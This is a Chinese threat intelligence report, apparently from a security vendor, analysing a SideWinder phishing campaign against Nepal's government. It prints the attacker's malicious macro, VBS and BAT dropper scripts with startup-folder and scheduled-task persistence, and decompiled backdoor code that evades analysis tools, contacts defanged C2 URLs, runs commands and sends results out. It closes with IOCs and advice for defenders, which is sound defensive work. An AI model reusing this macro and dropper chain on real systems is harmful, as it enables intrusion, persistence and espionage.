2023年11月：SideWinder组织近期针对尼泊尔的攻击事件

概述

  瑞星威胁情报平台捕获到一起针对尼泊尔的攻击事件。攻击者通过邮件发送给尼泊尔政府机构钓鱼文档。当用户双击文档执行宏代码后，会在%LocalAppData%目录下释放一些脚本文件，在启动目录下释放一个vbs脚本文件（脚本会执行指定的脚本文件），在%LocalAppData%\Microsoft目录下释放一个压缩文件（里面是一个Nim编写的后门程序）。据国内外安全厂商披露，该程序是BabyElephant组织开发的C++后门的变种，因为SideWinder和BabyElephant的攻击具有高度的相似性，通过将本次攻击行动与SideWinder组织过往攻击事件对比分析，将本次捕获到的攻击行动归属于SideWinder组织。

  SideWinder是一个至少从2012年就开始进行网络攻击的威胁组织，疑似来自印度。这个APT组织又被称为响尾蛇、T-APT-04、Rattlesnake和APT-C-17，是现今最活跃的组织之一。该组织主要是从事信息窃取和间谍活动，该组织的大多数的活动都集中在中国，巴基斯坦，阿富汗等国家，涉及的目标行业多为医疗，国防，政府和科技公司等。

ATT&CK 矩阵

攻击事件详情

  诱饵文件内容是有关尼泊尔总理普什帕·卡迈勒·达哈尔 (Pushpa Kamal Dahal) 行程的信息。这份文件疑似最初是通过泄露的电子邮件地址从尼泊尔总理私人秘书处办公室的工作人员那里盗取的，之后被攻击者篡改成了恶意钓鱼文档。

攻击流程

样本分析

1. 初始文档

  攻击者通过电子邮件投递一个伪装成尼泊尔总理行程信息的恶意文件，文件里面内置了恶意的宏代码，当宏代码被执行时，在%AppData%\Microsoft\Windows\Start Menu\Programs\Startup目录下释放OCu3HBg7gyI9aUaB.vbs，在%LocalAppData%目录下释放8lGghf8kIPIuu3cM.bat脚本和skriven.vbs脚本，在%LocalAppData%\Microsoft\目录下释放conhost.zip压缩文件。下面是宏代码：

Function sch_task()
    Set objShell = GetObject("new: {72C24DD5" + "-D70A-438B-8A42" + "-98424B88AFB8}")
    Appdata = Environ$("Ap" + "pDa" + "ta")
    LocalAppdata = Environ$("Loc" + "alAp" + "pData")
    tPath = Environ$("Te" + "mp")
    tFilePath = tPath & "\*.log"
    h10001 = "true"
    h10002 = "Nothing"
    Set objFSO = CreateObject("Scr" + "ipti" + "ng.Fi" + "leS" + "ystem" + "Ob" + "ject")
    invbsFile = Appdata & "\Micros" + "oft\Wi" + "ndows\S" + "tart Me" + "nu\Prog" + "rams\S" + "tartu" + "p\OCu3HBg7g" + "yI9aUaB" + ".vbs"
    Set objFile = objFSO.CreateTextFile(invbsFile, True)
    objFile.WriteLine "WScript.Sleep 300000"
    h10001 = Replace(a001, "true", "true")
    objFile.WriteLine "If Ping() = true then"
    h10002 = Replace(a002, "Nothing", "Nothing")
    objFile.WriteLine "Set obj = Nothing"
    objFile.WriteLine "WScript.Sleep 300000"
    objFile.WriteLine "CreateObject(""Wscript.Shell"").Run chr(34) & """ & LocalAppdata & "\8lGghf8kIPIuu3cM.bat"" & chr(34), 0, False"
    objFile.WriteLine "Else"
    objFile.WriteLine "WScript.Sleep 300000"
    objFile.WriteLine "CreateObject(""Wscript.Shell"").Run chr(34) & """ & LocalAppdata & "\8lGghf8kIPIuu3cM.bat"" & chr(34), 0, False"
    objFile.WriteLine "End If"
    objFile.WriteLine "Function Ping()"
    objFile.WriteLine "Dim objPing"
    objFile.WriteLine "Dim objstatus"
    objFile.WriteLine "Ping = false"
    objFile.WriteLine "Set objPing = GetObject(""winmgmts:{impersonationLevel=impersonate}"")._"
    objFile.WriteLine "ExecQuery(""SELECT * FROM Win32_PingStatus where address = 'www.google.com'"")"
    objFile.WriteLine "For each objstatus in objPing"
    objFile.WriteLine "If objstatus.StatusCode = 0 then"
    objFile.WriteLine "Ping = true"
    objFile.WriteLine "Exit Function"
    objFile.WriteLine "End If"
    objFile.WriteLine "Next"
    objFile.WriteLine "End Function"
    objFile.Close
End Function

2. vbs脚本：OCu3HBg7gyI9aUaB.vbs

  脚本会通过ping www.google.com来测试受害机器网络是否正常连接，然后执行指定的文件8lGghf8kIPIuu3cM.bat。

WScript.Sleep 300000
If Ping() = True Then
    Set obj = Nothing
    WScript.Sleep 300000
    CreateObject("Wscript.Shell").Run Chr(34) & "C:\Users\15877\AppData\Local\8lGghf8kIPIuu3cM.bat" & Chr(34), 0, False
Else
    WScript.Sleep 300000
    CreateObject("Wscript.Shell").Run Chr(34) & "C:\Users\15877\AppData\Local\8lGghf8kIPIuu3cM.bat" & Chr(34), 0, False
End If
Function Ping()
    Dim objPing
    Dim objstatus
    Ping = False
    Set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}"). _
    ExecQuery("SELECT * FROM Win32_PingStatus where address = 'www.google.com'")
    For Each objstatus In objPing
        If objstatus.StatusCode = 0 Then
            Ping = True
            Exit Function
        End If
    Next
End Function

3. vbs脚本：skriven.vbs

  skriven.vbs的作用为：把指定的文件路径作为参数传入脚本，以隐藏窗口的方式执行指定的文件

GetObject("new: {72C24DD5-D70A-438B-8A42-98424B88AFB8}").Run chr(34) & WScript.Arguments(0) & chr(34), 0, False

4. bat脚本：8lGghf8kIPIuu3cM.bat

  脚本会在%LocalAppData%目录下释放vbs和bat脚本，并且执行2L7uuZQboJBhTERK.bat脚本

>"C:\Users\george\AppData\Local\unzFile.vbs" 
(
@echo off
echo Set objFSO = CreateObject("Scripting.FileSystemObject"^)
echo Set objFile = objFSO.CreateTextFile("C:\Users\george\AppData\Local\unz.vbs", True^)
echo objFile.WriteLine "Set zcAps = GetObject(""new:13709620-C279-11CE-A49E-444553540000"")"
echo objFile.WriteLine "zcAps.Namespace(""C:\Users\george\AppData\Local"").CopyHere zcAps.Namespace(""C:\Users\george\AppData\Local\Microsoft\conhost.zip"").items"
echo objFile.Close
echo Set objFile = Nothing
)
>"C:\Users\george\AppData\Local\2L7uuZQboJBhTERK.bat"
(
echo @echo off
echo wscript.exe "C:\Users\george\AppData\Local\unzFile.vbs"
echo "C:\Users\george\AppData\Local\skriven.vbs" "C:\Users\george\AppData\Local\2BYretPBD4iSQKYS.bat"
)
>"C:\Users\george\AppData\Local\2BYretPBD4iSQKYS.bat" 
(
echo @echo off
echo wscript.exe "C:\Users\george\AppData\Local\unz.vbs"
echo "C:\Users\george\AppData\Local\skriven.vbs" "C:\Users\george\AppData\Local\d.bat"
)
>"C:\Users\george\AppData\Local\d.bat" 
(
echo @echo off
echo schtasks /create /SC minute /MO 1 /TN ConsoleHostManager /TR "C:\Users\george\AppData\Local\conhost.exe" /F
echo "C:\Users\george\AppData\Local\skriven.vbs" "C:\Users\george\AppData\Local\e.bat"
)
>"C:\Users\george\AppData\Local\e.bat"
(
echo del "C:\Users\george\AppData\Local\unzFile.vbs"
echo del "C:\Users\george\AppData\Local\2L7uuZQboJBhTERK.bat"
echo del "C:\Users\george\AppData\Local\2BYretPBD4iSQKYS.bat"
echo del "C:\Users\george\AppData\Local\d.bat"
echo del "C:\Users\george\AppData\Local\e.bat"
)
"C:\Users\george\AppData\Local\skriven.vbs" "C:\Users\george\AppData\Local\2L7uuZQboJBhTERK.bat"

  这些脚本的主要功能：

5. Nim后门：conhost.exe

  该后门是由Nim语言编写，其特点是在进入主要模块前会先初始化所需要的API函数；可以看见大量的类似于E:\\Store\\MACRO\\NP\\np_apache.nim的库函数。

FormatMessageW_140083A38 = GetProcAddress_1400153A9(qword_140083B20, "FormatMessageW");
LocalFree_140083A40 = GetProcAddress_1400153A9(qword_140083B20, "LocalFree");
GetLastError_140083A48 = GetProcAddress_1400153A9(qword_140083B20, "GetLastError");
socket_140083A50 = GetProcAddress_1400153A9(qword_140083B18, "socket");
closesocket_140083A58 = GetProcAddress_1400153A9(qword_140083B18, "closesocket");
WSAIoctl_140083A60 = GetProcAddress_1400153A9(qword_140083B18, "WSAIoctl");
Sleep_140083A68 = GetProcAddress_1400153A9(qword_140083B20, "Sleep");
CreatePipe_140083A70 = GetProcAddress_1400153A9(qword_140083B20, "CreatePipe");
SetHandleInformation_140083A78 = GetProcAddress_1400153A9(qword_140083B20, "SetHandleInformation");
CreateNamedPipeW_140083A80 = GetProcAddress_1400153A9(qword_140083B20, "CreateNamedPipeW");
GetStdHandle_140083AA8 = GetProcAddress_1400153A9(qword_140083B20, "GetStdHandle");
CreateProcessW_140083AB0 = GetProcAddress_1400153A9(qword_140083B20, "CreateProcessW");
ReadFile_140083AB8 = GetProcAddress_1400153A9(qword_140083B20, "ReadFile");
WriteFile_140083AC0 = GetProcAddress_1400153A9(qword_140083B20, "WriteFile");
WaitForSingleObject_140083AC8 = GetProcAddress_1400153A9(qword_140083B20, "WaitForSingleObject");
result = GetProcAddress_1400153A9(qword_140083B18, "recv");
recv_140083B10 = result;
return result;

  获取受害机的环境信息，查看运行的进程是否有安全分析相关的工具（processhacker.exe，windbg.exe，x64dbg.exe，Wireshark.exe等），若存在则退出后门

genericAssign_140017135((__int64)qword_1400876A0, (__int64)&off_140061C00, (__int64)&qword_140087640);
v4 = 91i64;
v5 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
v12 = 0i64;
v11 = 0i64;
// 获取被害机的环境
v11 = (_QWORD *)getEnv_14002A5BE((__int64)&unk_140061D50, 0i64);

v4 = 96i64;
v5 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
v10 = qword_140087800;
// processHacker.exe procmon.exe
qword_140087800 = (__int64)sub_14000DB87((__int64 *)qword_1400876A0[v13]);
if ( v10 )
    sub_14004F990(v10);
v4 = 97i64;
v5 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
v9 = 0;
v9 = check_task_14004FA73(qword_140087800);
if ( v9 == 1 )
{
    v4 = 98i64;
    v5 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    exit(0);
}

  执行cmd /c hostname命令,获取当前计算机的主机名

v40 = 0i64;
// memset
sub_14004FA47(v39, 32i64);
v35 = 49i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
sub_14004F295(v39, &off_140061F40, 32i64);
v35 = 50i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
// 获取命令 "cmd /c hostname"
v57 = copystring_14000F2D8(&unk_140061F60);
v35 = 51i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
// 加载内置的C2
sub_14004FA47(v38, 8i64);
// 执行cmd /c hostname命令,获取计算机的主机名
v56 = execProcess_14004C2CB(v57, 0, (unsigned int)v38, 0, 0i64, 78);
v35 = 52i64;

  对获取的主机名先进行base64编码，然后使用密钥为NPA的自定义加密算法进行加密，最后再base64编码加密后的数据

v14 = copystring_14000F2D8(qword_140061F80);
v9 = 34i64;
v10 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
v17 = encode_140019649(a1, 0i64);
v13 = 0;
v16 = 0i64;
v9 = 254i64;
v10 = "C:\\Program Files\\nim\\lib\\system\\iterators.nim";
if ( v14 )
    v1 = *v14;
else
    v1 = 0i64;
v12 = v1;
v9 = 255i64;
v10 = "C:\\Program Files\\nim\\lib\\system\\iterators.nim";
while ( v16 < v12 )
{
    v9 = 35i64;
    v10 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    if ( v16 < 0 || (!v14 ? (v2 = 0i64) : (v2 = *v14), v2 <= v16) )
    {
        if ( v14 )
            v3 = *v14 - 1;
        else
            v3 = -1i64;
        sub_14000F35F(v16, v3);
    }
    v13 = *((_BYTE *)v14 + v16 + 16);
    v17 = encrypt_14004FC72(v17, (unsigned int)v13);
    v9 = 257i64;
    v10 = "C:\\Program Files\\nim\\lib\\system\\iterators.nim";
    v6 = v16 + 1;
    if ( __OFADD__(1i64, v16) )
        sub_1400102F8();
    v16 = v6;
    v9 = 258i64;
    v10 = "C:\\Program Files\\nim\\lib\\system\\iterators.nim";
    if ( v14 )
        v4 = *v14;
    else
        v4 = 0i64;
    if ( v4 != v12 )
        failedAssertImpl_1400028A5(&unk_140061FA0);
}

  加载备选的URL（hxxp://dns.govnp.org/mail/AFA/ ，hxxp://mail.mofa.govnp.org/mail/AFA/，hxxp://mx1.nepal.govnp.org/mail/AFA/，hxxp://nitc.govnp.org/mail/AFA/），随机获取其中一个，把编码后的数据添加到URL后面，再添加.aspx后缀，连接服务器，并发送get请求，获取要执行的命令

v32 = __140050177(40000i64, 60000i64);
dword_140087680 = rand_140038557(v32);
v35 = 55i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
v55 = 0i64;
v54 = 0i64;
// 加载备选的几个URL
v54 = (_QWORD *)sub_14003887A(v39, 4i64);
v53 = 0i64;
// 对之前的数据再一次base64编码
v53 = (_QWORD *)encode_140019649(v61, 0i64);
v0 = *v54 ? *(_QWORD *)*v54 : 0i64;
v1 = v53 ? *v53 : 0i64;
v55 = sub_14000EB49(v0 + v1 + 5);
// 随机获取备选URL中的一个http://mail.mofa.govnp.org/mail/AFA/
appendstring_14004F305(v55, *v54);
// 把编码后的用户信息添加到后面：http://mail.mofa.govnp.org/mail/AFA/RFJvSkN3eHVEUThLSEc0SURCc0ZFdzRLR1E0Y09HSmk=
appendstring_14004F305(v55, v53);
// 添加.aspx:http://mail.mofa.govnp.org/mail/AFA/RFJvSkN3eHVEUThLSEc0SURCc0ZFdzRLR1E0Y09HSmk=.aspx
appendstring_14004F305(v55, &unk_140062030);

v4 = "get";
v6 = "C:\\Program Files\\nim\\lib\\pure\\httpclient.nim";

  判断状态码是不是4xx或者5xx的错误，如果不是则读取数据

v11 = code_14004416E(a1);
v12 = is4xx_140047BBD(v11);
if ( !v12 )
{
    v10 = 0i64;
    v10 = code_14004416E(a1);
    v12 = is5xx_140047C6C(v10);
}
if ( v12 != 1 )
{
    v5 = 1169i64;
    v6 = "C:\\Program Files\\nim\\lib\\pure\\httpclient.nim";
    v13 = readAll_14003D5EA(*(_QWORD *)(a1 + 32));
}

  和上一个发过来的数据比较是否一样，一样则睡眠一段时间之后再向服务器发送get请求获取新的数据，不一样则进行解码解密的过程（base64解码->自定义的解密算法->base64解码）得到要执行的命令，cmd /c拼接命令，创建进程执行命令。

if ( v42 && *v42 )
{
    v35 = 63i64;
    v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    v25 = sub_14000EB49(22i64);
    //新发过来的数据
    formatValue_14004EEC7(&v25, v42, 0i64);
    v35 = 63i64;
    v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    v24 = sub_14000EB49(21i64);
    // 上一次发过来的数据
    formatValue_14004EEC7(&v24, v41, 0i64);
    // 比较是否和上一次发的数据一样，不一样则执行新的指令，一样则睡眠一段时间，再像服务器发送新的get请求
    if ( (unsigned __int8)eqStrings_1400502F2(v25, v24) != 1 )
    {
        v35 = 67i64;
        v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
        v41 = copystring_14000F2D8(v42);
        v35 = 68i64;
        v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
        // 对数据进行解码-->解密--->解码
        v50 = (_QWORD *)confectionary_140050463((__int64)v42);
        v35 = 69i64;
        v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
        v49 = 0i64;
        if ( v50 )
            v3 = *v50 + 7i64;
        else
            v3 = 7i64;
        v49 = sub_14000EB49(v3);
        //拼接 cmd /c + 命令
        appendstring_14004F305(v49, qword_140062110);
        appendstring_14004F305(v49, v50);
        v48 = v49;
        v35 = 70i64;
        v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
        sub_14004FA47((__int64)v23, 8i64);
        // 执行命令
        v40 = (_QWORD *)execProcess_14004C2CB((int)v48, 0,
    }
}

  执行成功之后，把执行的结果用同样的方式进行加密编码之后，使用 {URL}/id={编码和加密后的主机名}/session=0?/value={编码和加密后的数据}/return=True 的形式回传到服务器

// 执行命令
v40 = (__int64 *)execProcess_14004C2CB((int)v48, 0, (int)v23, 0, 0i64, 0x4Eu);
v35 = 71i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
if ( !v40 || !*v40 )
{
    v35 = 72i64;
    v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    // 命令执行成功  The conmand executed successful
    v40 = copystring_14000F2D8(qword_140062140);
}

if ( __OFADD__(101i64, v29) )
    sub_1400102F8();

v47 = sub_14000EB49(v11 + v12 + 32);
// URL
appendstring_14004F305(v47, *v46); 
// @id=   
appendstring_14004F305(v47, qword_140062180);
// 编码加密后的主机名
appendstring_14004F305(v47, v45);
// @/session=     
appendstring_14004F305(v47, qword_1400621A0);
// 0
appendstring_14004F305(v47, v44);
// @?/value=     
appendstring_14004F305(v47, qword_1400621C0);
 // 要发送的加密数据
appendstring_14004F305(v47, v43);
// @/return = ture    
appendstring_14004F305(v47, qword_1400621E0);
v31 = v47;
v35 = 83i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
v20 = v28 + 1;

v35 = 85i64;
v36 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
// 发送加密的数据到服务器
Content_140047F0A = (_QWORD *)getContent_140047F0A(v59, (__int64)v31);
sub_14005023C();

关联样本

  此次的攻击样本是关联样本的最新变种，通过对比分析，他们之间有以下的区别和相似的地方。

1. 区别

关联样本的部分重要的字符串（URL等）被base64编码了，而此次的样本字符串没被编码

// hxxp://microsoft-patches.servehttp.com/
v20[0] = "aHR0cDovL21pY3Jvc29mdC1wYXRjaGVzLnNlcnZlaHR0cC5jb20v";
// hxxp://webmail.gavaf.org/
v20[1] = "aHR0cDovL3dlYm1haWwuZ2F2YWYub3JnLw==";
// hxxp://webmail-org.servehttp.com/
v21 = "aHR0cDovL3dlYm1haWwtb3JnLnNlcnZlaHR0cC5jb20v";
//hxxp://outlook.gavaf.org/
v22 = (unsigned __int64)"aHR0cDovL291dGxvb2suZ2F2YWYub3JnLw==";
// hxxp://mail.gavaf.org/
v23 = "aHR0cDovL21haWwuZ2F2YWYub3JnLw==";
v3 = v20[rand() % 5];
Block[0] = 0i64;
v29 = 0i64;
v30 = 15i64;
v4 = -1i64;
do
    ++v4;
while ( v3[v4] );
sub_1400085D0(Block, (__int64)v3, v4);

2. 相似

  都是使用 {URL}/id={编码和加密后的主机名}/session=0?/value={编码和加密后的数据}/return=True 的形式回传到服务器

  都是以密钥为NPA的自定义加密算法对数据进行加密：

关联样本加密算法

v6 = aNpa[i];
v36.m128i_i64[0] = 0i64;
v37 = 0i64;
v38 = 0i64;
v7 = Block;
v8 = (char *)Block[0];
v9 = *((_QWORD *)&v46 + 1);
for ( j = 0i64; v15 < v37; ++j )
{
    v17 = &v36;
    if ( v38 >= 0x10 )
        v17 = (__m128i *)v36.m128i_i64[0];
    v18 = v17->m128i_i8[j] ^ v6;
    v19 = &v40;
    if ( *((_QWORD *)&v41 + 1) >= 0x10ui64 )
        v19 = (__m128i *)v40.m128i_i64[0];
    v19->m128i_i8[j] = v18;
    ++v15;
}

此次样本加密算法：

while ( 1 )
{
    v2 = a1 ? *a1 : 0i64;
    if ( v2 <= v17 )
        break;
    v10 = 26i64;
    v11 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    if ( v17 < 0 || (!a1 ? (v3 = 0i64) : (v3 = *a1), v3 <= v17) )
    {
        if ( a1 )
            v4 = *a1 - 1;
        else
            v4 = -1i64;
        sub_14000F35F(v17, v4);
    }
    v14 = *((unsigned __int8 *)a1 + v17 + 16);
    v15 = v14 ^ a2;
    v10 = 28i64;
    v11 = "E:\\Store\\MACRO\\NP\\np_apache.nim";
    v13 = 0i64;
    if ( v15 > 255 )
        sub_14000EEBD(v15, 0i64, 255i64);
    if ( v18 )
        v5 = *v18 + 1i64;
    else
        v5 = 1i64;
    v13 = sub_14000EB49(v5);
    appendstring_14004F305(v13, v18);
    sub_14004FC29(v13, v15);
}

攻击过程可视化（EDR）

  瑞星EDR的威胁调查功能为恶意软件威胁溯源分析提供可视化的应用程序关系图，从任意节点进行溯源梳理攻击过程，定位恶意软件关键行为。结合AI对攻击流程进行精准分析，全方位还原恶意软件的完整攻击链。

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征，针对的目标都是具有重大信息资产，如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等，国内相关政府机构和企业单位务必要引起重视，加强防御措施。

预防措施

1. 不打开可疑文件。

   不打开未知来源的可疑的文件和邮件，防止社会工程学和钓鱼攻击。

2. 部署网络安全态势感知、预警系统等网关安全产品。

   网关安全产品可利用威胁情报追溯威胁行为轨迹，帮助用户进行威胁行为分析、定位威胁源和目的，追溯攻击的手段和路径，从源头解决网络威胁，最大范围内发现被攻击的节点，帮助企业更快响应和处理。

3. 安装有效的杀毒软件，拦截查杀恶意文档和木马病毒。

   杀毒软件可拦截恶意文档和木马病毒，如果用户不小心下载了恶意文件，杀毒软件可拦截查杀，阻止病毒运行，保护用户的终端安全。

   瑞星ESM目前已经可以检出此次攻击事件的相关样本。

4. 及时修补系统补丁和重要软件的补丁。

沦陷信标（IOC）

• MD5

  e2a3edc708016316477228de885f0c39
  1cc8e1cc36a18681148872e164431688
  32c5141b0704609b9404eff6c18b47bf
  63d42ffa1568d9a379f448052927a237
  777fcc34fef4a16b2276e420c5fb3a73
  7d025c9837fe3dd3438439b7e4341b87

• IPV4

  5.181.20.102

• URL

  hxxp://dns.govnp.org/mail/AFA/
  hxxp://mail.mofa.govnp.org/mail/AFA/
  hxxp://mx1.nepal.govnp.org/mail/AFA/
  hxxp://nitc.govnp.org/mail/AFA/
  hxxp://microsoft-patches.servehttp.com/
  hxxp://webmail-org.servehttp.com/
  hxxp://mail.gavaf.org/
  hxxp://outlook.gavaf.org/

• Domain

  mail.mofa.govnp.org
  mx1.nepal.govnp.org
  dns.govnp.org
  nitc.govnp.org
  mail.gavaf.org
  outlook.gavaf.org

• 瑞星病毒名

  Backdoor.[SideWinder]Agent!1.EFFF
  Backdoor.[SideWinder]Agent!1.F03A

参考链接

• https://www.antiy.com/response/20211119.html
• https://vairav.net/assets/backend/uploads/Files/APT%20Sidewinder-TARGETED%20INCURSIONS%20AIMED%20AT%20NEPAL’S%20GOVERNMENTAL%20ENTITIES.pdf?fbclid=IwAR3Ijf2p7SfM5bI7HNcQ6lx9XaIOwH4dkLnE_FrzqaFFmr1JOnMaj15u2MA